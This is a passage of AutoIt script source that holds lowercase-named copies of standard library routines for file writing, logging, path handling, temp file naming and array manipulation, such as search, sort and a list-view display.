        EndIf
    EndIf
    Return 1
EndFunc
 
Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0)
    If NOT IsArray($a_array) Then Return SetError(2, 0, 0)
    Local $last = UBound($a_array) - 1
    If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last
    If $i_base < 0 OR $i_base > $last Then $i_base = 0
    Local $hfile
    If IsString($file) Then
        $hfile = FileOpen($file, $fo_overwrite)
    Else
        $hfile = $file
    EndIf
    If $hfile = -1 Then Return SetError(1, 0, 0)
    Local $errorsav = 0
    For $x = $i_base To $i_ubound
        If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then
            $errorsav = 3
            ExitLoop
        EndIf
    Next
    If IsString($file) Then FileClose($hfile)
    If $errorsav Then Return SetError($errorsav, 0, 0)
    Return 1
EndFunc
 
Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
    Local $iopenmode = $fo_append
    Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
    Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
    Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
    If $iflag <> -1 Then
        $smsg &= @CRLF & FileRead($slogpath)
        $iopenmode = $fo_overwrite
    EndIf
    Local $hopenfile = FileOpen($slogpath, $iopenmode)
    If $hopenfile = -1 Then Return SetError(1, 0, 0)
    Local $iwritefile = FileWriteLine($hopenfile, $smsg)
    Local $iret = FileClose($hopenfile)
    If $iwritefile = -1 Then Return SetError(2, $iret, 0)
    Return $iret
EndFunc
 
Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0)
    If $iline <= 0 Then Return SetError(4, 0, 0)
    If NOT IsString($stext) Then Return SetError(6, 0, 0)
    If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0)
    If NOT FileExists($sfile) Then Return SetError(2, 0, 0)
    Local $sread_file = FileRead($sfile)
    Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF)
    If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0)
    Local $hfile = FileOpen($sfile, $fo_overwrite)
    If $hfile = -1 Then Return SetError(3, 0, 0)
    $sread_file = ""
    For $i = 1 To $asplit_file[0]
        If $i = $iline Then
            If $foverwrite = 1 Then
                If $stext <> "" Then $sread_file &= $stext & @CRLF
            Else
                $sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF
            EndIf
        ElseIf $i < $asplit_file[0] Then
            $sread_file &= $asplit_file[$i] & @CRLF
        ElseIf $i = $asplit_file[0] Then
            $sread_file &= $asplit_file[$i]
        EndIf
    Next
    FileWrite($hfile, $sread_file)
    FileClose($hfile)
    Return 1
EndFunc
 
Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
    If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
    Local $sfullpath = StringReplace($srelativepath, "/", "\")
    Local Const $sfullpathconst = $sfullpath
    Local $spath
    Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\"
    For $i = 1 To 2
        $spath = StringLeft($sfullpath, 2)
        If $spath = "\\" Then
            $sfullpath = StringTrimLeft($sfullpath, 2)
            Local $nserverlen = StringInStr($sfullpath, "\") - 1
            $spath = "\\" & StringLeft($sfullpath, $nserverlen)
            $sfullpath = StringTrimLeft($sfullpath, $nserverlen)
            ExitLoop
        ElseIf StringRight($spath, 1) = ":" Then
            $sfullpath = StringTrimLeft($sfullpath, 2)
            ExitLoop
        Else
            $sfullpath = $sbasepath & "\" & $sfullpath
        EndIf
    Next
    If $i = 3 Then Return ""
    If StringLeft($sfullpath, 1) <> "\" Then
        If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then
            $sfullpath = $sbasepath & "\" & $sfullpath
        Else
            $sfullpath = "\" & $sfullpath
        EndIf
    EndIf
    Local $atemp = StringSplit($sfullpath, "\")
    Local $apathparts[$atemp[0]], $j = 0
    For $i = 2 To $atemp[0]
        If $atemp[$i] = ".." Then
            If $j Then $j -= 1
        ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then
            $apathparts[$j] = $atemp[$i]
            $j += 1
        EndIf
    Next
    $sfullpath = $spath
    If NOT $brootonly Then
        For $i = 0 To $j - 1
            $sfullpath &= "\" & $apathparts[$i]
        Next
    Else
        $sfullpath &= $sfullpathconst
        If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath)
    EndIf
    While StringInStr($sfullpath, ".\")
        $sfullpath = StringReplace($sfullpath, ".\", "\")
    WEnd
    Return $sfullpath
EndFunc
 
Func _pathgetrelative($sfrom, $sto)
    If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
    If StringRight($sto, 1) <> "\" Then $sto &= "\"
    If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
    Local $asfrom = StringSplit($sfrom, "\")
    Local $asto = StringSplit($sto, "\")
    If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1))
    Local $i = 2
    Local $idiff = 1
    While 1
        If $asfrom[$i] <> $asto[$i] Then
            $idiff = $i
            ExitLoop
        EndIf
        $i += 1
    WEnd
    $i = 1
    Local $srelpath = ""
    For $j = 1 To $asto[0]
        If $i >= $idiff Then
            $srelpath &= "\" & $asto[$i]
        EndIf
        $i += 1
    Next
    $srelpath = StringTrimLeft($srelpath, 1)
    $i = 1
    For $j = 1 To $asfrom[0]
        If $i > $idiff Then
            $srelpath = "..\" & $srelpath
        EndIf
        $i += 1
    Next
    If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1)
    Return $srelpath
EndFunc
 
Func _pathmake($szdrive, $szdir, $szfname, $szext)
    If StringLen($szdrive) Then
        If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":"
    EndIf
    If StringLen($szdir) Then
        If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\"
    EndIf
    If StringLen($szext) Then
        If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext
    EndIf
    Return $szdrive & $szdir & $szfname & $szext
EndFunc
 
Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext)
    Local $drive = ""
    Local $dir = ""
    Local $fname = ""
    Local $ext = ""
    Local $pos
    Local $array[5]
    $array[0] = $szpath
    If StringMid($szpath, 2, 1) = ":" Then
        $drive = StringLeft($szpath, 2)
        $szpath = StringTrimLeft($szpath, 2)
    ElseIf StringLeft($szpath, 2) = "\\" Then
        $szpath = StringTrimLeft($szpath, 2)
        $pos = StringInStr($szpath, "\")
        If $pos = 0 Then $pos = StringInStr($szpath, "/")
        If $pos = 0 Then
            $drive = "\\" & $szpath
            $szpath = ""
        Else
            $drive = "\\" & StringLeft($szpath, $pos - 1)
            $szpath = StringTrimLeft($szpath, $pos - 1)
        EndIf
    EndIf
    Local $nposforward = StringInStr($szpath, "/", 0, -1)
    Local $nposbackward = StringInStr($szpath, "\", 0, -1)
    If $nposforward >= $nposbackward Then
        $pos = $nposforward
    Else
        $pos = $nposbackward
    EndIf
    $dir = StringLeft($szpath, $pos)
    $fname = StringRight($szpath, StringLen($szpath) - $pos)
    If StringLen($dir) = 0 Then $fname = $szpath
    $pos = StringInStr($fname, ".", 0, -1)
    If $pos Then
        $ext = StringRight($fname, StringLen($fname) - ($pos - 1))
        $fname = StringLeft($fname, $pos - 1)
    EndIf
    $szdrive = $drive
    $szdir = $dir
    $szfname = $fname
    $szext = $ext
    $array[1] = $drive
    $array[2] = $dir
    $array[3] = $fname
    $array[4] = $ext
    Return $array
EndFunc
 
Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1)
    Local $iretval = 0
    Local $ncount, $sendswith
    If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1)
    Local $hfile = FileOpen($szfilename, $fo_read)
    If $hfile = -1 Then Return SetError(1, 0, -1)
    Local $s_totfile = FileRead($hfile, FileGetSize($szfilename))
    If StringRight($s_totfile, 2) = @CRLF Then
        $sendswith = @CRLF
    ElseIf StringRight($s_totfile, 1) = @CR Then
        $sendswith = @CR
    ElseIf StringRight($s_totfile, 1) = @LF Then
        $sendswith = @LF
    Else
        $sendswith = ""
    EndIf
    Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF)
    FileClose($hfile)
    Local $hwritehandle = FileOpen($szfilename, $fo_overwrite)
    If $hwritehandle = -1 Then Return SetError(2, 0, -1)
    For $ncount = 1 To $afilelines[0]
        If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then
            $afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness)
            $iretval = $iretval + 1
            If $foccurance = 0 Then
                $iretval = 1
                ExitLoop
            EndIf
        EndIf
    Next
    For $ncount = 1 To $afilelines[0] - 1
        If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then
            FileClose($hwritehandle)
            Return SetError(3, 0, -1)
        EndIf
    Next
    If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith)
    FileClose($hwritehandle)
    Return $iretval
EndFunc
 
Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
    If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
    If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
    If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
    Local $s_tempname
    Do
        $s_tempname = ""
        While StringLen($s_tempname) < $i_randomlength
            $s_tempname = $s_tempname & Chr(Random(97, 122, 1))
        WEnd
        $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
    Until NOT FileExists($s_tempname)
    Return $s_tempname
EndFunc
 
Func _arrayadd(ByRef $avarray, $vvalue)
    If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
    If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
    Local $iubound = UBound($avarray)
    ReDim $avarray[$iubound + 1]
    $avarray[$iubound] = $vvalue
    Return $iubound
EndFunc
 
Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0)
    If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
    If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1)
    Local $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(4, 0, -1)
    Local $imid = Int(($iend + $istart) / 2)
    If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1)
    While $istart <= $imid AND $vvalue <> $avarray[$imid]
        If $vvalue < $avarray[$imid] Then
            $iend = $imid - 1
        Else
            $istart = $imid + 1
        EndIf
        $imid = Int(($iend + $istart) / 2)
    WEnd
    If $istart > $iend Then Return SetError(3, 0, -1)
    Return $imid
EndFunc
 
Func _arraycombinations(ByRef $avarray, $iset, $sdelim = "")
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
    Local $in = UBound($avarray)
    Local $ir = $iset
    Local $aidx[$ir]
    For $i = 0 To $ir - 1
        $aidx[$i] = $i
    Next
    Local $itotal = __array_combinations($in, $ir)
    Local $ileft = $itotal
    Local $aresult[$itotal + 1]
    $aresult[0] = $itotal
    Local $icount = 1
    While $ileft > 0
        __array_getnext($in, $ir, $ileft, $itotal, $aidx)
        For $i = 0 To $iset - 1
            $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
        Next
        If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
        $icount += 1
    WEnd
    Return $aresult
EndFunc
 
Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart = 0)
    If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0)
    If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0)
    If UBound($avarraytarget, 0) <> 1 Then
        If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0)
        Return SetError(3, 0, 0)
    EndIf
    If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0)
    Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource = UBound($avarraysource)
    ReDim $avarraytarget[$iuboundtarget + $iuboundsource]
    For $i = $istart To $iuboundsource - 1
        $avarraytarget[$iuboundtarget + $i] = $avarraysource[$i]
    Next
    Return $iuboundtarget + $iuboundsource
EndFunc
 
Func _arraycreate($v_0, $v_1 = 0, $v_2 = 0, $v_3 = 0, $v_4 = 0, $v_5 = 0, $v_6 = 0, $v_7 = 0, $v_8 = 0, $v_9 = 0, $v_10 = 0, $v_11 = 0, $v_12 = 0, $v_13 = 0, $v_14 = 0, $v_15 = 0, $v_16 = 0, $v_17 = 0, $v_18 = 0, $v_19 = 0, $v_20 = 0)
    Local $av_array[21] = [$v_0, $v_1, $v_2, $v_3, $v_4, $v_5, $v_6, $v_7, $v_8, $v_9, $v_10, $v_11, $v_12, $v_13, $v_14, $v_15, $v_16, $v_17, $v_18, $v_19, $v_20]
    ReDim $av_array[@NumParams]
    Return $av_array
EndFunc
 
Func _arraydelete(ByRef $avarray, $ielement)
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    Local $iubound = UBound($avarray, 1) - 1
    If NOT $iubound Then
        $avarray = ""
        Return 0
    EndIf
    If $ielement < 0 Then $ielement = 0
    If $ielement > $iubound Then $ielement = $iubound
    Switch UBound($avarray, 0)
        Case 1
            For $i = $ielement To $iubound - 1
                $avarray[$i] = $avarray[$i + 1]
            Next
            ReDim $avarray[$iubound]
        Case 2
            Local $isubmax = UBound($avarray, 2) - 1
            For $i = $ielement To $iubound - 1
                For $j = 0 To $isubmax
                    $avarray[$i][$j] = $avarray[$i + 1][$j]
                Next
            Next
            ReDim $avarray[$iubound][$isubmax + 1]
        Case Else
            Return SetError(3, 0, 0)
    EndSwitch
    Return $iubound
EndFunc
 
Func _arraydisplay(Const ByRef $avarray, $stitle = "Array: ListView Display", $iitemlimit = -1, $itranspose = 0, $sseparator = "", $sreplace = "|", $sheader = "")
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    Local $idimension = UBound($avarray, 0), $iubound = UBound($avarray, 1) - 1, $isubmax = UBound($avarray, 2) - 1
    If $idimension > 2 Then Return SetError(2, 0, 0)
    If $sseparator = "" Then $sseparator = Chr(124)
    If _arraysearch($avarray, $sseparator, 0, 0, 0, 1) <> -1 Then
        For $x = 1 To 255
            If $x >= 32 AND $x <= 127 Then ContinueLoop
            Local $sfind = _arraysearch($avarray, Chr($x), 0, 0, 0, 1)
            If $sfind = -1 Then
                $sseparator = Chr($x)
                ExitLoop
            EndIf
        Next
    EndIf
    Local $vtmp, $ibuffer = 64
    Local $icollimit = 250
    Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Opt("GUIDataSeparatorChar", $sseparator)
    If $isubmax < 0 Then $isubmax = 0
    If $itranspose Then
        $vtmp = $iubound
        $iubound = $isubmax
        $isubmax = $vtmp
    EndIf
    If $isubmax > $icollimit Then $isubmax = $icollimit
    If $iitemlimit < 1 Then $iitemlimit = $iubound
    If $iubound > $iitemlimit Then $iubound = $iitemlimit
    If $sheader = "" Then
        $sheader = "Row  "
        For $i = 0 To $isubmax
            $sheader &= $sseparator & "Col " & $i
        Next
    EndIf
    Local $avarraytext[$iubound + 1]
    For $i = 0 To $iubound
        $avarraytext[$i] = "[" & $i & "]"
        For $j = 0 To $isubmax
            If $idimension = 1 Then
                If $itranspose Then
                    $vtmp = $avarray[$j]
                Else
                    $vtmp = $avarray[$i]
                EndIf
            Else
                If $itranspose Then
                    $vtmp = $avarray[$j][$i]
                Else
                    $vtmp = $avarray[$i][$j]
                EndIf
            EndIf
            $vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0, 1)
            $avarraytext[$i] &= $sseparator & $vtmp
            $vtmp = StringLen($vtmp)
            If $vtmp > $ibuffer Then $ibuffer = $vtmp
        Next
    Next
    $ibuffer += 1
    Local Const $_arrayconstant_gui_dockborders = 102
    Local Const $_arrayconstant_gui_dockbottom = 64
    Local Const $_arrayconstant_gui_dockheight = 512
    Local Const $_arrayconstant_gui_dockleft = 2
    Local Const $_arrayconstant_gui_dockright = 4
    Local Const $_arrayconstant_gui_event_close = -3
    Local Const $_arrayconstant_lvif_param = 4
    Local Const $_arrayconstant_lvif_text = 1
    Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
    Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
    Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
    Local Const $_arrayconstant_lvm_insertitemw = (4096 + 77)
    Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)
    Local Const $_arrayconstant_lvm_setitemw = (4096 + 76)
    Local Const $_arrayconstant_lvs_ex_fullrowselect = 32
    Local Const $_arrayconstant_lvs_ex_gridlines = 1
    Local Const $_arrayconstant_lvs_showselalways = 8
    Local Const $_arrayconstant_ws_ex_clientedge = 512
    Local Const $_arrayconstant_ws_maximizebox = 65536
    Local Const $_arrayconstant_ws_minimizebox = 131072
    Local Const $_arrayconstant_ws_sizebox = 262144
    Local Const $_arrayconstant_taglvitem = "int Mask;int Item;int SubItem;int State;int StateMask;ptr Text;int TextMax;int Image;int Param;int Indent;int GroupID;int Columns;ptr pColumns"
    Local $iaddmask = BitOR($_arrayconstant_lvif_text, $_arrayconstant_lvif_param)
    Local $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]"), $pbuffer = DllStructGetPtr($tbuffer)
    Local $titem = DllStructCreate($_arrayconstant_taglvitem), $pitem = DllStructGetPtr($titem)
    DllStructSetData($titem, "Param", 0)
    DllStructSetData($titem, "Text", $pbuffer)
    DllStructSetData($titem, "TextMax", $ibuffer)
    Local $iwidth = 640, $iheight = 480
    Local $hgui = GUICreate($stitle, $iwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox))
    Local $aiguisize = WinGetClientSize($hgui)
    Local $hlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - 26, $_arrayconstant_lvs_showselalways)
    Local $hcopy = GUICtrlCreateButton("Copy Selected", 3, $aiguisize[1] - 23, $aiguisize[0] - 6, 20)
    GUICtrlSetResizing($hlistview, $_arrayconstant_gui_dockborders)
    GUICtrlSetResizing($hcopy, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
    GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines)
    GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect)
    GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge)
    Local $aitem
    For $i = 0 To $iubound
        If GUICtrlCreateListViewItem($avarraytext[$i], $hlistview) = 0 Then
            $aitem = StringSplit($avarraytext[$i], $sseparator)
            DllStructSetData($tbuffer, "Text", $aitem[1])
            DllStructSetData($titem, "Item", $i)
            DllStructSetData($titem, "SubItem", 0)
            DllStructSetData($titem, "Mask", $iaddmask)
            GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_insertitemw, 0, $pitem)
            DllStructSetData($titem, "Mask", $_arrayconstant_lvif_text)
            For $j = 2 To $aitem[0]
                DllStructSetData($tbuffer, "Text", $aitem[$j])
                DllStructSetData($titem, "SubItem", $j - 1)
                GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setitemw, 0, $pitem)
            Next
        EndIf
    Next
    $iwidth = 0
    For $i = 0 To $isubmax + 1
        $iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0)
    Next
    If $iwidth < 250 Then $iwidth = 230
    $iwidth += 20
    If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100
    WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth)
    GUISetState(@SW_SHOW, $hgui)
    While 1
        Switch GUIGetMsg()
            Case $_arrayconstant_gui_event_close
                ExitLoop
            Case $hcopy
                Local $sclip = ""
                Local $aicuritems[1] = [0]
                For $i = 0 To GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemcount, 0, 0)
                    If GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemstate, $i, 2) Then
                        $aicuritems[0] += 1
                        ReDim $aicuritems[$aicuritems[0] + 1]
                        $aicuritems[$aicuritems[0]] = $i
                    EndIf
                Next
                If NOT $aicuritems[0] Then
                    For $sitem In $avarraytext
                        $sclip &= $sitem & @CRLF
                    Next
                Else
                    For $i = 1 To UBound($aicuritems) - 1
                        $sclip &= $avarraytext[$aicuritems[$i]] & @CRLF
                    Next
                EndIf
                ClipPut($sclip)
        EndSwitch
    WEnd
    GUIDelete($hgui)
    Opt("GUIOnEventMode", $ioneventmode)
    Opt("GUIDataSeparatorChar", $sdataseparatorchar)
    Return 1
EndFunc
 
Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $ipartial = 0, $isubitem = 0)
    $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $ipartial, 1, $isubitem)
    If @error Then Return SetError(@error, 0, -1)
    Local $iindex = 0, $avresult[UBound($avarray)]
    Do
        $avresult[$iindex] = $istart
        $iindex += 1
        $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $ipartial, 1, $isubitem)
    Until @error
    ReDim $avresult[$iindex]
    Return $avresult
EndFunc
 
Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "")
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
    Local $iubound = UBound($avarray) + 1
    ReDim $avarray[$iubound]
    For $i = $iubound - 1 To $ielement + 1 Step -1
        $avarray[$i] = $avarray[$i - 1]
    Next
    $avarray[$ielement] = $vvalue
    Return $iubound
EndFunc
 
Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
    Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend)
    If @error Then Return SetError(@error, 0, "")
    Return $avarray[$iresult]
EndFunc
 
Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
    If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, -1)
    If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
    Local $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(2, 0, -1)
    Local $imaxindex = $istart
    If $icompnumeric Then
        For $i = $istart To $iend
            If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i
        Next
    Else
        For $i = $istart To $iend
            If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i
        Next
    EndIf
    Return $imaxindex
EndFunc
 
Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
    Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend)
    If @error Then Return SetError(@error, 0, "")
    Return $avarray[$iresult]
EndFunc
 
Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
    If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
    If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
    Local $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(2, 0, -1)
    Local $iminindex = $istart
    If $icompnumeric Then
        For $i = $istart To $iend
            If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i
        Next
    Else
        For $i = $istart To $iend
            If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i
        Next
    EndIf
    Return $iminindex
EndFunc
 
Func _arraypermute(ByRef $avarray, $sdelim = "")
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
    Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1
    For $i = 0 To $isize - 1
        $aidx[$i] = $i
    Next
    For $i = $isize To 1 Step -1
        $ifactorial *= $i
    Next
    ReDim $aresult[$ifactorial + 1]
    $aresult[0] = $ifactorial
    __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount)
    Return $aresult
EndFunc
 
Func _arraypop(ByRef $avarray)
    If (NOT IsArray($avarray)) Then Return SetError(1, 0, "")
    If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "")
    Local $iubound = UBound($avarray) - 1, $slastval = $avarray[$iubound]
    If NOT $iubound Then
        $avarray = ""
    Else
        ReDim $avarray[$iubound]
    EndIf
    Return $slastval
EndFunc
 
Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0)
    If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0)
    If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
    Local $iubound = UBound($avarray) - 1
    If IsArray($vvalue) Then
        Local $iubounds = UBound($vvalue)
        If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0)
        If $idirection Then
            For $i = $iubound To $iubounds Step -1
                $avarray[$i] = $avarray[$i - $iubounds]
            Next
            For $i = 0 To $iubounds - 1
                $avarray[$i] = $vvalue[$i]
            Next
        Else
            For $i = 0 To $iubound - $iubounds
                $avarray[$i] = $avarray[$i + $iubounds]
            Next
            For $i = 0 To $iubounds - 1
                $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i]
            Next
        EndIf
    Else
        If $idirection Then
            For $i = $iubound To 1 Step -1
                $avarray[$i] = $avarray[$i - 1]
            Next
            $avarray[0] = $vvalue
        Else
            For $i = 0 To $iubound - 1
                $avarray[$i] = $avarray[$i + 1]
            Next
            $avarray[$iubound] = $vvalue
        EndIf
    EndIf
    Return 1
EndFunc
 
Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
    Local $vtmp, $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(2, 0, 0)
    For $i = $istart To Int(($istart + $iend - 1) / 2)
        $vtmp = $avarray[$i]
        $avarray[$i] = $avarray[$iend]
        $avarray[$iend] = $vtmp
        $iend -= 1
    Next
    Return 1
EndFunc
 
Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $ipartial = 0, $iforward = 1, $isubitem = -1)
    If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
    If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1)
    Local $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(4, 0, -1)
    Local $istep = 1
    If NOT $iforward Then
        Local $itmp = $istart
        $istart = $iend
        $iend = $itmp
        $istep = -1
    EndIf
    Switch UBound($avarray, 0)
        Case 1
            If NOT $ipartial Then
                If NOT $icase Then
                    For $i = $istart To $iend Step $istep
                        If $avarray[$i] = $vvalue Then Return $i
                    Next
                Else
                    For $i = $istart To $iend Step $istep
                        If $avarray[$i] == $vvalue Then Return $i
                    Next
                EndIf
            Else
                For $i = $istart To $iend Step $istep
                    If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
                Next
            EndIf
        Case 2
            Local $iuboundsub = UBound($avarray, 2) - 1
            If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
            If $isubitem < 0 Then
                $isubitem = 0
            Else
                $iuboundsub = $isubitem
            EndIf
            For $j = $isubitem To $iuboundsub
                If NOT $ipartial Then
                    If NOT $icase Then
                        For $i = $istart To $iend Step $istep
                            If $avarray[$i][$j] = $vvalue Then Return $i
                        Next
                    Else
                        For $i = $istart To $iend Step $istep
                            If $avarray[$i][$j] == $vvalue Then Return $i
                        Next
                    EndIf
                Else
                    For $i = $istart To $iend Step $istep
                        If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
                    Next
                EndIf
            Next
        Case Else
            Return SetError(7, 0, -1)
    EndSwitch
    Return SetError(6, 0, -1)
EndFunc
 
Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0)
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    Local $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(2, 0, 0)
    Switch UBound($avarray, 0)
        Case 1
            __arrayquicksort1d($avarray, $istart, $iend)
            If $idescending Then _arrayreverse($avarray, $istart, $iend)
        Case 2
            Local $isubmax = UBound($avarray, 2) - 1
